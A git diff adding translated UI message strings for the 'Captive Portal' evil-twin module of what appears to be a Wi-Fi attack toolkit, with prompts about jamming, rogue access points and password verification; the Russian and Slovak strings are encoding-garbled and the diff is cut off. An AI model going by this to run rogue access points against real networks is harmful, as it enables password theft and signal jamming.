+CaptivePortalStaringAPServiceNotice="Starting Captive Portal access point service..." +CaptivePortalStaringAPRoutesNotice="Starting Captive Portal access point routes..." +CaptivePortalStartingDHCPServiceNotice="Starting access point DHCP service as daemon..." +CaptivePortalStartingDNSServiceNotice="Starting access point DNS service as daemon..." +CaptivePortalStartingWebServiceNotice="Starting access point captive portal as daemon..." +CaptivePortalStartingJammerServiceNotice="Starting access point jammer as daemon..." +CaptivePortalStartingAuthenticatorServiceNotice="Starting authenticator script..." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalAPServiceQuery="Select an access point service" +CaptivePortalAPServiceHostapdOption="Rogue AP - hostapd (${CGrn}recommended$CClr)" +CaptivePortalAPServiceAirbaseOption="Rogue AP - airbase-ng (${CYel}slow$CClr)" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalVerificationMethodQuery="Select a password verification method" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalCertificateSourceQuery="Select SSL certificate source for captive portal." +CaptivePortalCertificateSourceGenerateOption="Create an SSL certificate" +CaptivePortalCertificateSourceRescanOption="Detect SSL certificate (${CClr}search again$CGry)" +CaptivePortalCertificateSourceDisabledOption="None (${CYel}disable SSL$CGry)" +CaptivePortalUIQuery="Select a captive portal interface for the rogue network." +CaptivePortalGenericInterfaceOption="Generic Portal" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalConnectivityQuery="Select an internet connectivity type for the rogue network." +CaptivePortalConnectivityDisconnectedOption="disconnected (${CGrn}recommended$CClr)" +CaptivePortalConnectivityEmulatedOption="emulated" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + +# FLUXSCRIPT END diff --git a/attacks/Captive Portal/language/es.sh b/attacks/Captive Portal/language/es.sh new file mode 100755 index 0000000..55254f3 --- /dev/null +++ b/attacks/Captive Portal/language/es.sh @@ -0,0 +1,35 @@ +#!/usr/bin/env bash +# identifier: Portal Cautivo +# description: Crea un punto de acceso "gemelo malvado". + +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalJammerInterfaceQuery="Select an interface for jamming." +CaptivePortalAccessPointInterfaceQuery="Select an interface for the access point." +CaptivePortalCannotStartInterfaceError="${CRed}Unable to start captive portal interface$CClr, returning!" +CaptivePortalStaringAPServiceNotice="Starting Captive Portal access point service..." +CaptivePortalStaringAPRoutesNotice="Starting Captive Portal access point routes..." +CaptivePortalStartingDHCPServiceNotice="Starting access point DHCP service as daemon..." +CaptivePortalStartingDNSServiceNotice="Starting access point DNS service as daemon..." +CaptivePortalStartingWebServiceNotice="Starting access point captive portal as daemon..." +CaptivePortalStartingJammerServiceNotice="Starting access point jammer as daemon..." +CaptivePortalStartingAuthenticatorServiceNotice="Starting authenticator script..." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalAPServiceQuery="Select an access point service" +CaptivePortalAPServiceHostapdOption="Rogue AP - hostapd (${CGrn}recommended$CClr)" +CaptivePortalAPServiceAirbaseOption="Rogue AP - airbase-ng (${CYel}slow$CClr)" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalVerificationMethodQuery="MÉTODO PARA VERIFICAR CONTRASEÑA" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalCertificateSourceQuery="Select SSL certificate source for captive portal." +CaptivePortalCertificateSourceGenerateOption="Create an SSL certificate" +CaptivePortalCertificateSourceRescanOption="Detect SSL certificate (${CClr}search again$CGry)" +CaptivePortalCertificateSourceDisabledOption="None (${CYel}disable SSL$CGry)" +CaptivePortalUIQuery="Select a captive portal interface for the rogue network." +CaptivePortalGenericInterfaceOption="Generic Portal" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalConnectivityQuery="Select an internet connectivity type for the rogue network." +CaptivePortalConnectivityDisconnectedOption="disconnected (${CGrn}recommended$CClr)" +CaptivePortalConnectivityEmulatedOption="emulated" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + +# FLUXSCRIPT END diff --git a/attacks/Captive Portal/language/fr.sh b/attacks/Captive Portal/language/fr.sh new file mode 100755 index 0000000..d90fb99 --- /dev/null +++ b/attacks/Captive Portal/language/fr.sh @@ -0,0 +1,35 @@ +#!/usr/bin/env bash +# identifier: Portail Captif +# description: Crée un point d'accès «jumeau malveillant». + +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalJammerInterfaceQuery="Select an interface for jamming." +CaptivePortalAccessPointInterfaceQuery="Select an interface for the access point." +CaptivePortalCannotStartInterfaceError="${CRed}Incapable de lancer une interface de portail captif$CClr, retour arrière !" +CaptivePortalStaringAPServiceNotice=" Lancement du service de point d'accès du portail captif..." +CaptivePortalStaringAPRoutesNotice="Lancement des routes du portail captif de point d'accès..." +CaptivePortalStartingDHCPServiceNotice="Lancement du service DHCP de point d'accès comme daemon..." +CaptivePortalStartingDNSServiceNotice="Lancement du service DNS de point d'accès comme daemon..." +CaptivePortalStartingWebServiceNotice="Lancement du portail captif de point d'accès comme daemon..." +CaptivePortalStartingJammerServiceNotice="Lancement de l'interrupteur de point d'accès comme daemon..." +CaptivePortalStartingAuthenticatorServiceNotice="Lancement du script d'authentification..." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalAPServiceQuery="Select an access point service" +CaptivePortalAPServiceHostapdOption="Rogue AP - hostapd (${CGrn}recommended$CClr)" +CaptivePortalAPServiceAirbaseOption="Rogue AP - airbase-ng (${CYel}slow$CClr)" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalVerificationMethodQuery="METHODE DE VÉRIFICATION DU MOT DE PASSE" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalCertificateSourceQuery="Sélectionnez le certificat SSL source pour le portail captif." +CaptivePortalCertificateSourceGenerateOption="Créer un certificat SSL" +CaptivePortalCertificateSourceRescanOption="Détecter le certificat SSL (${CClr}chercher encore$CGry)" +CaptivePortalCertificateSourceDisabledOption="None (${CYel}disable SSL$CGry)" +CaptivePortalUIQuery="Sélectionnez une interface de portail captif pour le réseau parasite." +CaptivePortalGenericInterfaceOption="Portail générique" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalConnectivityQuery="Select an internet connectivity type for the rogue network." +CaptivePortalConnectivityDisconnectedOption="disconnected (${CGrn}recommended$CClr)" +CaptivePortalConnectivityEmulatedOption="emulated" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + +# FLUXSCRIPT END diff --git a/attacks/Captive Portal/language/it.sh b/attacks/Captive Portal/language/it.sh new file mode 100755 index 0000000..dbc98ab --- /dev/null +++ b/attacks/Captive Portal/language/it.sh @@ -0,0 +1,35 @@ +#!/usr/bin/env bash +# identifier: Captive Portal +# description: Crea un punto di accesso "gemello cattivo". + +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalJammerInterfaceQuery="Select an interface for jamming." +CaptivePortalAccessPointInterfaceQuery="Select an interface for the access point." +CaptivePortalCannotStartInterfaceError="${CRed}Impossibile avviare il portale interface$CClr, ritorno!" +CaptivePortalStaringAPServiceNotice="Avvio del servizio del Portale di Cattura..." +CaptivePortalStaringAPRoutesNotice="Avvio access point del Portale di Cattura..." +CaptivePortalStartingDHCPServiceNotice="Avvio del servizio DHCP..." +CaptivePortalStartingDNSServiceNotice="Avvio del servizio DNS..." +CaptivePortalStartingWebServiceNotice="Avvio del servizio del Portale WEB..." +CaptivePortalStartingJammerServiceNotice="Avvio del servizio di JAMMING..." +CaptivePortalStartingAuthenticatorServiceNotice="Avvio Script di Autenticazione..." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalAPServiceQuery="Select an access point service" +CaptivePortalAPServiceHostapdOption="Rogue AP - hostapd (${CGrn}recommended$CClr)" +CaptivePortalAPServiceAirbaseOption="Rogue AP - airbase-ng (${CYel}slow$CClr)" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalVerificationMethodQuery="MODALITA' DI VERIFICA DELLA PASSWORD" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalCertificateSourceQuery="Seleziona il certificato SSL." +CaptivePortalCertificateSourceGenerateOption="Crea il certificato SSL" +CaptivePortalCertificateSourceRescanOption="Identifica il certificato SSL (${CClr}cerca ancora$CGry)" +CaptivePortalCertificateSourceDisabledOption="Nessuno (${CYel}disabilita SSL$CGry)" +CaptivePortalUIQuery="Seleziona l'intefaccia del Portale di Cattura." +CaptivePortalGenericInterfaceOption="Portale Generico" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalConnectivityQuery="Seleziona una conettività internet per il punto di accesso cattivo." +CaptivePortalConnectivityDisconnectedOption="disconnesso (${CGrn}raccomandato$CClr)" +CaptivePortalConnectivityEmulatedOption="emulato" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + +# FLUXSCRIPT END diff --git a/attacks/Captive Portal/language/nl.sh b/attacks/Captive Portal/language/nl.sh new file mode 100644 index 0000000..a6c80af --- /dev/null +++ b/attacks/Captive Portal/language/nl.sh @@ -0,0 +1,35 @@ +#!/usr/bin/env bash +# identifier: Captive Portal +# description: Creates an "evil twin" access point. + +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalJammerInterfaceQuery="Selecteer een interface voor jamming." +CaptivePortalAccessPointInterfaceQuery="Selecteer een interface voor het access point." +CaptivePortalCannotStartInterfaceError="${CRed}Niet mogelijk om captive portal interface te starten$CClr, ga terug!" +CaptivePortalStaringAPServiceNotice="Starten van Captive Portal access point service..." +CaptivePortalStaringAPRoutesNotice="Starten van Captive Portal access point routes..." +CaptivePortalStartingDHCPServiceNotice="Starten van access point DHCP service als daemon..." +CaptivePortalStartingDNSServiceNotice="Starten van access point DNS service als daemon..." +CaptivePortalStartingWebServiceNotice="Starten van access point captive portal als daemon..." +CaptivePortalStartingJammerServiceNotice="Starten van access point jammer als daemon..." +CaptivePortalStartingAuthenticatorServiceNotice="Starten authenticator script..." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalAPServiceQuery="Selecteer een access point service" +CaptivePortalAPServiceHostapdOption="Rogue AP - hostapd (${CGrn}aangeraden$CClr)" +CaptivePortalAPServiceAirbaseOption="Rogue AP - airbase-ng (${CYel}traag$CClr)" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalVerificationMethodQuery="Selecteer een wachtwoord verificatie methode" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalCertificateSourceQuery="Selecteer een SSL certificaat bron voor captive portal." +CaptivePortalCertificateSourceGenerateOption="Creeer een SSL certificaat" +CaptivePortalCertificateSourceRescanOption="Detecteer SSL certificaaat (${CClr}zoek opnieuw$CGry)" +CaptivePortalCertificateSourceDisabledOption="Geen (${CYel}Schakel SSL uit$CGry)" +CaptivePortalUIQuery="Selecteer een captive portal interface voor het rogue network." +CaptivePortalGenericInterfaceOption="Generiek Portaal" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalConnectivityQuery="Selecteer eenn internet verbindingstype voor het rogue network." +CaptivePortalConnectivityDisconnectedOption="Verbroken (${CGrn}aangeraden$CClr)" +CaptivePortalConnectivityEmulatedOption="geemuleerd" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + +# FLUXSCRIPT END diff --git a/attacks/Captive Portal/language/pl.sh b/attacks/Captive Portal/language/pl.sh new file mode 100755 index 0000000..0b6723e --- /dev/null +++ b/attacks/Captive Portal/language/pl.sh @@ -0,0 +1,35 @@ +#!/usr/bin/env bash +# identifier: Captive Portal +# description: Creates an "evil twin" access point. + +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalJammerInterfaceQuery="Select an interface for jamming." +CaptivePortalAccessPointInterfaceQuery="Select an interface for the access point." +CaptivePortalCannotStartInterfaceError="${CRed}Unable to start captive portal interface$CClr, returning!" +CaptivePortalStaringAPServiceNotice="Starting Captive Portal access point service..." +CaptivePortalStaringAPRoutesNotice="Starting Captive Portal access point routes..." +CaptivePortalStartingDHCPServiceNotice="Starting access point DHCP service as daemon..." +CaptivePortalStartingDNSServiceNotice="Starting access point DNS service as daemon..." +CaptivePortalStartingWebServiceNotice="Starting access point captive portal as daemon..." +CaptivePortalStartingJammerServiceNotice="Starting access point jammer as daemon..." +CaptivePortalStartingAuthenticatorServiceNotice="Starting authenticator script..." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalAPServiceQuery="Select an access point service" +CaptivePortalAPServiceHostapdOption="Rogue AP - hostapd (${CGrn}recommended$CClr)" +CaptivePortalAPServiceAirbaseOption="Rogue AP - airbase-ng (${CYel}slow$CClr)" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalVerificationMethodQuery="Select a password verification method" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalCertificateSourceQuery="Select SSL certificate source for captive portal." +CaptivePortalCertificateSourceGenerateOption="Create an SSL certificate" +CaptivePortalCertificateSourceRescanOption="Detect SSL certificate (${CClr}search again$CGry)" +CaptivePortalCertificateSourceDisabledOption="None (${CYel}disable SSL$CGry)" +CaptivePortalUIQuery="Select a captive portal interface for the rogue network." +CaptivePortalGenericInterfaceOption="Generic Portal" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalConnectivityQuery="Select an internet connectivity type for the rogue network." +CaptivePortalConnectivityDisconnectedOption="disconnected (${CGrn}recommended$CClr)" +CaptivePortalConnectivityEmulatedOption="emulated" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + +# FLUXSCRIPT END diff --git a/attacks/Captive Portal/language/pt-br.sh b/attacks/Captive Portal/language/pt-br.sh new file mode 100755 index 0000000..0b6723e --- /dev/null +++ b/attacks/Captive Portal/language/pt-br.sh @@ -0,0 +1,35 @@ +#!/usr/bin/env bash +# identifier: Captive Portal +# description: Creates an "evil twin" access point. + +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalJammerInterfaceQuery="Select an interface for jamming." +CaptivePortalAccessPointInterfaceQuery="Select an interface for the access point." +CaptivePortalCannotStartInterfaceError="${CRed}Unable to start captive portal interface$CClr, returning!" +CaptivePortalStaringAPServiceNotice="Starting Captive Portal access point service..." +CaptivePortalStaringAPRoutesNotice="Starting Captive Portal access point routes..." +CaptivePortalStartingDHCPServiceNotice="Starting access point DHCP service as daemon..." +CaptivePortalStartingDNSServiceNotice="Starting access point DNS service as daemon..." +CaptivePortalStartingWebServiceNotice="Starting access point captive portal as daemon..." +CaptivePortalStartingJammerServiceNotice="Starting access point jammer as daemon..." +CaptivePortalStartingAuthenticatorServiceNotice="Starting authenticator script..." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalAPServiceQuery="Select an access point service" +CaptivePortalAPServiceHostapdOption="Rogue AP - hostapd (${CGrn}recommended$CClr)" +CaptivePortalAPServiceAirbaseOption="Rogue AP - airbase-ng (${CYel}slow$CClr)" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalVerificationMethodQuery="Select a password verification method" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalCertificateSourceQuery="Select SSL certificate source for captive portal." +CaptivePortalCertificateSourceGenerateOption="Create an SSL certificate" +CaptivePortalCertificateSourceRescanOption="Detect SSL certificate (${CClr}search again$CGry)" +CaptivePortalCertificateSourceDisabledOption="None (${CYel}disable SSL$CGry)" +CaptivePortalUIQuery="Select a captive portal interface for the rogue network." +CaptivePortalGenericInterfaceOption="Generic Portal" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalConnectivityQuery="Select an internet connectivity type for the rogue network." +CaptivePortalConnectivityDisconnectedOption="disconnected (${CGrn}recommended$CClr)" +CaptivePortalConnectivityEmulatedOption="emulated" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + +# FLUXSCRIPT END diff --git a/attacks/Captive Portal/language/ro.sh b/attacks/Captive Portal/language/ro.sh new file mode 100755 index 0000000..e59e6e0 --- /dev/null +++ b/attacks/Captive Portal/language/ro.sh @@ -0,0 +1,35 @@ +#!/usr/bin/env bash +# identifier: Captiv Portal +# description: Creează un punct de acces "gemeni rău". + +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalJammerInterfaceQuery="Select an interface for jamming." +CaptivePortalAccessPointInterfaceQuery="Select an interface for the access point." +CaptivePortalCannotStartInterfaceError="${CRed}Unable to start captive portal interface$CClr, returning!" +CaptivePortalStaringAPServiceNotice="Starting Captive Portal access point service..." +CaptivePortalStaringAPRoutesNotice="Starting Captive Portal access point routes..." +CaptivePortalStartingDHCPServiceNotice="Starting access point DHCP service as daemon..." +CaptivePortalStartingDNSServiceNotice="Starting access point DNS service as daemon..." +CaptivePortalStartingWebServiceNotice="Starting access point captive portal as daemon..." +CaptivePortalStartingJammerServiceNotice="Starting access point jammer as daemon..." +CaptivePortalStartingAuthenticatorServiceNotice="Starting authenticator script..." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalAPServiceQuery="Select an access point service" +CaptivePortalAPServiceHostapdOption="Rogue AP - hostapd (${CGrn}recommended$CClr)" +CaptivePortalAPServiceAirbaseOption="Rogue AP - airbase-ng (${CYel}slow$CClr)" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalVerificationMethodQuery="METODA PENTRU VERIFICAREA PAROLEI" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalCertificateSourceQuery="Select SSL certificate source for captive portal." +CaptivePortalCertificateSourceGenerateOption="Create an SSL certificate" +CaptivePortalCertificateSourceRescanOption="Detect SSL certificate (${CClr}search again$CGry)" +CaptivePortalCertificateSourceDisabledOption="None (${CYel}disable SSL$CGry)" +CaptivePortalUIQuery="Select a captive portal interface for the rogue network." +CaptivePortalGenericInterfaceOption="Generic Portal" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalConnectivityQuery="Select an internet connectivity type for the rogue network." +CaptivePortalConnectivityDisconnectedOption="disconnected (${CGrn}recommended$CClr)" +CaptivePortalConnectivityEmulatedOption="emulated" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + +# FLUXSCRIPT END diff --git a/attacks/Captive Portal/language/ru.sh b/attacks/Captive Portal/language/ru.sh new file mode 100755 index 0000000..ebe90cb --- /dev/null +++ b/attacks/Captive Portal/language/ru.sh @@ -0,0 +1,35 @@ +#!/usr/bin/env bash +# identifier: Captive Portal +# description: Создаёт точку доÑтупа "Злой Двойник". + +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalJammerInterfaceQuery="Выберите Ð¸Ð½Ñ‚ÐµÑ€Ñ„ÐµÐ¹Ñ Ð´Ð»Ñ Ð³Ð»ÑƒÑˆÐµÐ½Ð¸Ñ." +CaptivePortalAccessPointInterfaceQuery="Выберите Ð¸Ð½Ñ‚ÐµÑ€Ñ„ÐµÐ¹Ñ Ð´Ð»Ñ Ñ‚Ð¾Ñ‡ÐºÐ¸ доÑтупа." +CaptivePortalCannotStartInterfaceError="${CRed}Ðе получаетÑÑ Ð·Ð°Ð¿ÑƒÑтить перехватывающий портал interface$CClr, возврат!" +CaptivePortalStaringAPServiceNotice="ЗапуÑк Ñлужбы точки доÑтупа Ñ ÐŸÐµÑ€ÐµÑ…Ð²Ð°Ñ‚Ñ‹Ð²Ð°ÑŽÑ‰Ð¸Ð¼ Порталом..." +CaptivePortalStaringAPRoutesNotice="ЗапуÑк маршрутизации точки доÑтупа Ñ ÐŸÐµÑ€ÐµÑ…Ð²Ð°Ñ‚Ñ‹Ð²Ð°ÑŽÑ‰Ð¸Ð¼ Порталом..." +CaptivePortalStartingDHCPServiceNotice="ЗапуÑк Ñлужбы DHCP точки доÑтупа в качеÑтве демона..." +CaptivePortalStartingDNSServiceNotice="ЗапуÑк Ñлужбы DNS точки доÑтупа в качеÑтве демона..." +CaptivePortalStartingWebServiceNotice="ЗапуÑк точки доÑтупа Ñ ÐŸÐµÑ€ÐµÑ…Ð²Ð°Ñ‚Ñ‹Ð²Ð°ÑŽÑ‰Ð¸Ð¼ Порталом в качеÑтве демона..." +CaptivePortalStartingJammerServiceNotice="ЗапуÑк Ð³Ð»ÑƒÑˆÐ¸Ñ‚ÐµÐ»Ñ Ñ‚Ð¾Ñ‡ÐºÐ¸ доÑтупа в качеÑтве демона..." +CaptivePortalStartingAuthenticatorServiceNotice="ЗапуÑк Ñкрипта аутентификации..." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalAPServiceQuery="Выберите Ñлужбу точки доÑтупа" +CaptivePortalAPServiceHostapdOption="Rogue AP - hostapd (${CGrn}рекомендуетÑÑ$CClr)" +CaptivePortalAPServiceAirbaseOption="Rogue AP - airbase-ng (${CYel}медленнаÑ$CClr)" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalVerificationMethodQuery="Выбор метода верификации паролÑ" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalCertificateSourceQuery="Выбор иÑточника SSL Ñертификата Ð´Ð»Ñ Ð¿ÐµÑ€ÐµÑ…Ð²Ð°Ñ‚Ñ‹Ð²Ð°ÑŽÑ‰ÐµÐ³Ð¾ портала." +CaptivePortalCertificateSourceGenerateOption="Создание SSL Ñертификата" +CaptivePortalCertificateSourceRescanOption="ПоиÑк SSL Ñертификата (${CClr}иÑкать Ñнова$CGry)" +CaptivePortalCertificateSourceDisabledOption="Ðет (${CYel} SSL отключено$CGry)" +CaptivePortalUIQuery="Выберите Ð¸Ð½Ñ‚ÐµÑ€Ñ„ÐµÐ¹Ñ Ð¿ÐµÑ€ÐµÑ…Ð²Ð°Ñ‚Ñ‹Ð²Ð°ÑŽÑ‰ÐµÐ³Ð¾ портала Ð´Ð»Ñ Ð¼Ð¾ÑˆÐµÐ½Ð½Ð¸Ñ‡ÐµÑкой Ñети." +CaptivePortalGenericInterfaceOption="Обычный Портал" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalConnectivityQuery="Выберите тип Интернет-ÑÐ¾ÐµÐ´Ð¸Ð½ÐµÐ½Ð¸Ñ Ð´Ð»Ñ Ð¼Ð¾ÑˆÐµÐ½Ð½Ð¸Ñ‡ÐµÑкой Ñети." +CaptivePortalConnectivityDisconnectedOption="отключено (${CGrn}рекомендуетÑÑ$CClr)" +CaptivePortalConnectivityEmulatedOption="Ñмулирован" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + +# FLUXSCRIPT END diff --git a/attacks/Captive Portal/language/sk.sh b/attacks/Captive Portal/language/sk.sh new file mode 100644 index 0000000..4c9cd8b --- /dev/null +++ b/attacks/Captive Portal/language/sk.sh @@ -0,0 +1,35 @@ +#!/usr/bin/env bash +# identifier: Captive Portal +# description: Vytvorí prístupový bod "zlé dvojÄa" + +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalJammerInterfaceQuery="Select an interface for jamming." +CaptivePortalAccessPointInterfaceQuery="Select an interface for the access point." +CaptivePortalCannotStartInterfaceError="${CRed}Nepodarilo sa spustiÅ¥ adaptér 'Captive Portal' $CClr, vraciam sa!" +CaptivePortalStaringAPServiceNotice="Spúšťam službu 'Captive Portal' prístupového bodu..." +CaptivePortalStaringAPRoutesNotice="Spúšťam smerovanie 'Captive Portal' prístupového bodu..." +CaptivePortalStartingDHCPServiceNotice="Spúšťam službu DHCP prístupového bodu ako 'daemon'..." +CaptivePortalStartingDNSServiceNotice="Spúšťam službu DNS prístupového bodu ako 'daemon'..." +CaptivePortalStartingWebServiceNotice="Spúšťam 'Captive Portal' prístupového bodu ako 'daemon'..." +CaptivePortalStartingJammerServiceNotice="Spúšťam blokovanie prístupového bodu ako 'daemon'..." +CaptivePortalStartingAuthenticatorServiceNotice="Spúšťam autentifikaÄný skript..." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalAPServiceQuery="Select an access point service" +CaptivePortalAPServiceHostapdOption="Rogue AP - hostapd (${CGrn}recommended$CClr)" +CaptivePortalAPServiceAirbaseOption="Rogue AP - airbase-ng (${CYel}slow$CClr)" +# 